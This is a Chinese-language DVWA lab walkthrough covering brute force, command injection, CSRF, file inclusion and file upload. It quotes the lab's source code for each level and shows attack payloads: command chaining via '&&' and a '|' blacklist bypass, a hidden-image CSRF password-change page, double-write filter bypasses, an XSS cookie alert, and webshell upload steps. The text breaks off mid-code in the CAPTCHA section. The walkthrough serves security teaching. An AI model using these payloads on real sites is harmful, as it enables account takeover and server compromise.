DVWA靶场通关-已完结

1.Brute Force(暴力破解)

Low

源码解析：

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];

    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

原理：黑客利用的字典，枚举爆破用户口令，尝试是否能够登录

这里有一个登录框，需要输入用户和密码才能登录

暴力破解常用工具：Burp

首先配置代理，不再描述

然后进行字典爆破

抓取并且发送

用户名猜测为admin，对密码字段进行爆破

加载一个字典进行爆破

其中长度不同的即为密码

爆破成功

Medium

源码解析：

<?php
//是否存在Login变量（标签里面的name），检查是否存在Login按钮
if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
//获取用户名，存入user变量里
    $user = $_GET[ 'username' ];
//user中x00，n，r，，’，”，x1a转义，防SQL注入
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
//pass中x00，n，r，，’，”，x1a转义，防SQL注入
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
//密码加密
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed，失败后会延时2s
        sleep( 2 );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

与Low难度基本相同，区别是每一次登录失败后会延时2s，别的就没有什么改动了，总体过程影响不大。

在low安全级别的基础上，在username和password的GET传参后利用函数做了数据过滤，对数据库中特殊符号进行转义，能够抵御基本的SQL注入

High

源码解析：

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

设置线程数为1

Impossible

源码解析：

// 检验 token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
 
    // 过滤 username 和 password
    $user = $_POST[ 'username' ];
    $user = stripslashes( $user );
    $user = mysql_real_escape_string( $user );
    $pass = $_POST[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = mysql_real_escape_string( $pass );
    $pass = md5( $pass );
 
    // 失败登录次数 3 锁定时间单位 15 账户锁定
    $total_failed_login = 3;
    $lockout_time       = 15;
    $account_locked     = false;
 
    // 验证用户名和密码
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();
 
    // 检查用户是否已被锁定.
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
 
        // 登录失败超过 3 次 15 分钟再尝试
        $last_login = $row[ 'last_login' ];
        $last_login = strtotime( $last_login );
        $timeout    = strtotime( "{$last_login} +{$lockout_time} minutes" );
        $timenow    = strtotime( "now" );
 
        // 检查是否已经过了足够的时间，是否没有锁定帐户
        if( $timenow > $timeout )
            $account_locked = true;
    }
 
    // 检验用户名和密码
    $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR);
    $data->bindParam( ':password', $pass, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();
 
    // 如果登录有效
    if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
        // 获取用户头像、登录测试、和最近登录
        $avatar       = $row[ 'avatar' ];
        $failed_login = $row[ 'failed_login' ];
        $last_login   = $row[ 'last_login' ];
 
        // 输出登录成功信息
        echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
        echo "<img src=\"{$avatar}\" />";
 
        // 自上次登录后帐户是否已被锁定？
        if( $failed_login >= $total_failed_login ) {
            echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
            echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
        }
 
        // 重置登录失败次数
        $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }
    else {
        // 登录失败随机延时并输出返回信息
        sleep( rand( 2, 4 ) );
        echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";
 
        // 更新登录失败数
        $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }
 
    // 设置最后的登录时间
    $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();

这个难度是最高的难度，其中的改变都有GET提交方式改为POST提交方式，同样加了token校验机制，还有就是他限制的登录的次数，如果登录失败3次，账户就会被锁定，需要等待15，然后才能重新尝试。

2.Command Injection(命令执行)

Low

源码解析：

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

原理：用户输入的数据被当做系统命令进行执行

可以看见这是一个通过cmd进行命令注入的漏洞，而且是通过ping命令进行攻击的

首先测试ping 127.0.0.1

ping 127.0.0.1 && ipconfig

参数未作任何过滤和规则限制，可以通过构造恶意传参，执行系统命令或者直接传马

Medium

源码解析：

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
//设置命令黑名单，里面包含&&和；
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
//将参数中有&&和；的都替换成空
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

小知识：

&左右两端条件式有一个为假就会不成立，但是两端都会运行

&&只要左端条件式为假直接不成立，不会去判断右端条件式。

或者

High

源码解析：

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
//设置命令黑名单，里面包含& ；| - $ ( ) \ ' ||
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
//替换成空
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

发现黑名单&,| ,||,等，其中的“| ”，其后有一个空格，我们可以使用“|”来绕过

Impassible

源码解析：

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $target = $_REQUEST[ 'ip' ];
　　// stripslashes函数会剥离字符串中的反斜杠，然后返回剥离完反斜杠的字符串
    $target = stripslashes( $target );

    // Split the IP into 4 octects，以.作为分隔符，分割$target
    $octet = explode( ".", $target );

    // Check IF each octet is an integer，检测分割后的元素是否都是数字类型
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.入过都是数字类型的话，就将2他们再合并成$torget
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }

        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    else {
        // Ops. Let the user name theres a mistake
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

防御思路：
设置黑名单过滤特殊符号
替换、转义关键字
设置白名单，限制传参

3.CSRF(跨站请求伪造)

Low

原理：指利用受害者尚未失效的身份认证信息（cookie、会话等），诱骗其点击恶意链接或者访问包含攻击代码的页面，在受害人不知情的情况下以受害者的身份向（身份认证信息所对应的）服务器发送请求，从而完成非法操作（如转账、改密等）。CSRF与XSS最大的区别就在于，CSRF并没有盗取cookie而是直接利用。
通过仿造某一个特殊的网页（重置密码）来进行诱惑性攻击

源码解析：

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
//获取两个输入框的密码
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
//查看两次输入的是否一致
    if( $pass_new == $pass_conf ) {
        // They do!
//如果一致就直接插入数据库
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

通过GET方式获取两次密码，两次密码输入一致的话，就可以直接带入数据中修改密码。

首先尝试修改为123456

成功

然后测试修改后的密码

发现修改成功

同时发现URL显示了我们输入要修改的密码

在WWW目录下新建一个1.html，写入

<img src="http://127.0.0.1/DVWA-master/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>

如此，当我们打开1.html时，密码就会被修改为123456（诱骗打开这个1.html）

Medium

源码解析：

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
//stripos(str1, str2)检查str2在str1中出现的位置（不区分大小写)，如果有返//回True，反之False
//判断Host字段是否出现在referer字段中
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input

        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

中等级别的代码增加了 referer 判断

如果 HTTP_REFERER 和 SERVER_NAME 不是来自同一个域的话就无法进行到循环内部，执行修改密码的操作。

其实意思是这个referer中只要出现Host就可以正常操作

恶意网站中是这样的，显然是不成立的

Host 127.0.0.3

Referer http://127.0.0.1/

如果是这样的呢

Host 127.0.0.3

Referer http://127.0.0.1/127.0.0.3.html

这样就可以绕过，从而实现改密的操作了。

High

源码解析：

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
//可以看到加入了token机制
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

High级别的代码增加了Anti-CSRF token机制，用户每次访问改密页面时，服务器会返回一个随机的token，向服务器发起请求时，需要提交token参数，而服务器在收到请求时，会优先检查token，只有token正确，才会处理客户端请求。

利用xss，xss可以执行代码，获取token

<script>alert(document.cookie)</script>

security=low; PHPSESSID=cct3sn9kopbrfdcq2chncle4s1

抓包修改

方框位置可以修改为想要的密码

Impassible

源码解析：

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
//输入原来的密码
    $pass_curr = $_GET[ 'password_current' ];
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Sanitise current password input
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_curr = md5( $pass_curr );

    // Check that the current password is correct
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
    $data->execute();

    // Do both new passwords match and does the current password match the user?
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
        // It does!
        $pass_new = stripslashes( $pass_new );
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update database with new password
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->execute();

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match or current password incorrect.</pre>";
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

要求我们先输入密码再修改，攻击者不知道原始密码的情况下是无法发起 CSRF 攻击的。

4.File Inclusion(文件包含)

Low

File Inclusion（文件包含），是指当服务器开启了allow_url_include选项时，通过一些PHP的特性函数（比如：include()，require()，include_once()和require_once()）利用URL去动态包含文件，此时如果没有对文件来源进行严格审查，就会导致任意文件读取或者任意命令执行。

源码解析：

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

首先进行尝试，发现有返回结果

phpinfo.php文件，尝试本地包含

尝试一下远程包含百度页面

Medium

源码解析：

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
//将参数中的http:// https:// ../ ..\都替换成空
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

这个地方加了一些过滤，将“http://”，“https://”，“../”，“..\”全部替换成了空，这个地方其实可以考虑双写绕过。

构造一个新的

hthttp://tp://www.baidu.com

过滤后

http://www.baidu.com

过滤前

…/./

过滤后

../

High

源码解析：

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
//文件名必须以file开始，或只能为include.php
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

使用伪协议：file:// （访问本地文件系统）

参考文章：文件包含-伪协议_孤的博客-CSDN博客_文件包含伪协议

Impassible

源码解析：

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only alLow include.php or file{1..3}.php
//file变量只能为include.php、file1、file2、file3其中一个
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

使用白名单进行保护

5.File Upload(文件上传)

Low

源码解析：

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?>

由于对上传文件的内、类型没有做严格的过滤、检查，使得攻击者可以通过上传木马文件获取服务器的webshell文件。

我们可以直接上传一句话木马

Medium

源码解析：

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
//文件类型必须是image/jpeg 或者 image/png，大小不能超过100000B（约为97.6KB）
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

对文件上传的类型和大小做了限制，要求必须是image/jpeg 或者 image/png 类型的。

上传一句话木马

上传时抓包，修改

High

源码解析：

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
// strtoLower把所有字符转换为小写
getimagesize(string filename)
函数会通过读取文件头，返回图片的长、宽等信息，如果没有相关的图片文件头，函数会报错。
可以看到，High级别的代码读取文件名中最后一个”.”后的字符串，期望通过文件名来限制文件类型，因此要求上传文件名形式必须是”*.jpg”、”*.jpeg” 、”*.png”之一。同时，getimagesize函数更是限制了上传文件的文件头必须为图像类型。
    if( ( strtoLower( $uploaded_ext ) == "jpg" || strtoLower( $uploaded_ext ) == "jpeg" || strtoLower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

需要上传一个图片木马

Impassible

源码解析：

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Where are we going to be writing to?
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
//上传文件的文件前缀md5加密
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
//in_get(varname)
函数返回相应选项的值
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

    // Is it an image?
    if( ( strtoLower( $uploaded_ext ) == 'jpg' || strtoLower( $uploaded_ext ) == 'jpeg' || strtoLower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
//imagecreatefromjpeg ( filename )
函数返回图片文件的图像标识，失败返回false
            $img = imagecreatefromjpeg( $uploaded_tmp );
//imagejpeg ( image , filename , quality)
从image图像以filename为文件名创建一个JPEG图像，可选参数quality，范围从0（最差质量，文件更小）到100（最佳质量，文件最大）。
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
// imagedestroy( img )
函数销毁图像资源
        imagedestroy( $img );

        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
            // Yes!
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
        }
        else {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }

        // Delete any temp files
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

这个级别的文件上传对上传的文件进行了重命名（MD5的加密），还增加了token值的校验，对文件的内容也做了严格的检查。

6.Insecure CAPTCHA(不安全的验证码)

Low

验证流程：

用户首先访问网页，触发页面的验证码的js模块，向谷歌服务器发起请求，谷歌服务器将验证码发给用户。用户输入验证码发送数据回去，这里发给的是访问网站的服务器，网站的服务器拿到验证码后，再去访问谷歌的服务器，谷歌的服务器会判断验证码是否正确，再将结果返回给网站服务器。

源码解析：

<?php
//第一阶段，身份认证，验证阶段为step1
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    //得到用户的新密码及确认新密码
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check CAPTCHA from 3rd party
    $resp = recaptcha_check_answer(
        $_DVWA[ 'recaptcha_private_key'],
        $_POST['g-recaptcha-response']
    );

    // Did the CAPTCHA fail?
    if( !$resp ) {
        // What happens when the CAPTCHA was entered incorrectly
        $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
        $hide_form = false;
        return;
    }
    else {
        // CAPTCHA was correct. Do both new passwords match?
        if( $pass_new == $pass_conf ) {
            // Show next stage for the user
            echo "
